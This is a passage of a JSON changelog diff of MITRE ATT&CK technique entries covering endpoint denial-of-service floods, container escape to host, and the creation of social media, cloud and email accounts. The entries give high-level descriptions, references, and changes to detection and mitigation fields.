is felt.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0415: Application Exhaustion Flood Detection Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 15:37:27.052000+00:00", + "modified": "2025-10-24 17:48:34.531000+00:00", + "name": "Application or System Exploitation", + "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499/004", + "external_id": "T1499.004" + }, + { + "source_name": "Sucuri BIND9 August 2015", + "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.", + "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Sensor Health: Host Status\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.531000+00:00\", \"old_value\": \"2025-04-15 21:50:12.334000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0304: Detection Strategy for Endpoint DoS via Application or System Exploitation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 15:27:18.581000+00:00", + "modified": "2025-10-24 17:48:23.935000+00:00", + "name": "OS Exhaustion Flood", + "description": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499/001", + "external_id": "T1499.001" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "Cloudflare SynFlood", + "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.", + "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/" + }, + { + "source_name": "Corero SYN-ACKflood", + "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20220119104451/https://www.corero.com/resource-hub/syn-ack-flood-attack/" + }, + { + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.935000+00:00\", \"old_value\": \"2025-04-15 22:53:56.462000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0356: Endpoint DoS via OS Exhaustion Flood Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 15:31:43.613000+00:00", + "modified": "2025-10-24 17:48:39.609000+00:00", + "name": "Service Exhaustion Flood", + "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499/002", + "external_id": "T1499.002" + }, + { + "source_name": "Arbor SSLDoS April 2012", + "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.", + "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "Cloudflare HTTPflood", + "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.", + "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/" + }, + { + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Sensor Health: Host Status\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.609000+00:00\", \"old_value\": \"2025-04-15 23:06:48.799000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\\n\\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\\n\\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\\n-\\n-In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\\n-\\n-Externally monitor the availability of services that may be targeted by an Endpoint DoS.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0173: Detection Strategy for Endpoint DoS via Service Exhaustion Flood" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-30 17:38:34.277000+00:00", + "modified": "2025-10-24 17:48:44.317000+00:00", + "name": "Escape to Host", + "description": "Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nIn ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.(Citation: Broadcom VMSA-2025-004)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1611", + "external_id": "T1611" + }, + { + "source_name": "Container Escape", + "description": "0xn3va. (n.d.). Escaping. Retrieved May 27, 2022.", + "url": "https://0xn3va.gitbook.io/cheat-sheets/container/escaping" + }, + { + "source_name": "Broadcom VMSA-2025-004", + "description": "Broadcom. (2025, March 6). VMSA-2025-0004: Questions & Answers. Retrieved March 26, 2025.", + "url": "https://github.com/vmware/vcf-security-and-compliance-guidelines/tree/main/security-advisories/vmsa-2025-0004" + }, + { + "source_name": "Windows Server Containers Are Open", + "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.", + "url": "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/" + }, + { + "source_name": "Docker Overview", + "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.", + "url": "https://docs.docker.com/get-started/overview/" + }, + { + "source_name": "Docker Bind Mounts", + "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.", + "url": "https://docs.docker.com/storage/bind-mounts/" + }, + { + "source_name": "Trend Micro Privileged Container", + "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.", + "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html" + }, + { + "source_name": "Intezer Doki July 20", + "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.", + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/" + }, + { + "source_name": "Crowdstrike Kubernetes Container Escape", + "description": "Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.", + "url": "https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/" + }, + { + "source_name": "Keyctl-unmask", + "description": "Mark Manning. (2020, July 23). Keyctl-unmask: \"Going Florida\" on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.", + "url": "https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yuval Avrahami, Palo Alto Networks", + "Daniel Prizmant, Palo Alto Networks", + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Idan Frimark, Cisco", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", + "CrowdStrike", + "Eran Ayalon, Cybereason", + "Oren Ofer, Cybereason", + "Ilan Sokol, Cybereason", + "Joas Antonio dos Santos, @C0d3Cr4zy" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "Containers", + "ESXi" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Kernel: Kernel Module Load\", \"Container: Container Creation\", \"Volume: Volume Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.317000+00:00\", \"old_value\": \"2025-04-15 19:58:28.417000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program", + "M1048: Application Isolation and Sandboxing", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0008: Kernel (Kernel Module Load)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0032: Container (Container Creation)", + "DS0034: Volume (Volume Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0219: Detection Strategy for Escape to Host" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:05:42.216000+00:00", + "modified": "2025-10-24 17:49:24.456000+00:00", + "name": "Establish Accounts", + "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1585", + "external_id": "T1585" + }, + { + "source_name": "Free Trial PurpleUrchin", + "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", + "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/" + }, + { + "source_name": "NEWSCASTER2014", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "BlackHatRobinSage", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Persona: Social Media\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.456000+00:00\", \"old_value\": \"2025-04-15 22:28:26.144000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0021: Persona (Social Media)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0873: Detection of Establish Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-27 14:06:05.130000+00:00", + "modified": "2025-10-24 17:49:06.502000+00:00", + "name": "Cloud Accounts", + "description": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1585/003", + "external_id": "T1585.003" + }, + { + "source_name": "Awake Security C2 Cloud", + "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.", + "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Francesco Bigarella" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.502000+00:00\", \"old_value\": \"2025-04-15 22:01:31.837000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0846: Detection of Cloud Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:09:53.217000+00:00", + "modified": "2025-10-24 17:48:52.378000+00:00", + "name": "Email Accounts", + "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services \u2013 such as trial periods \u2013 to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email 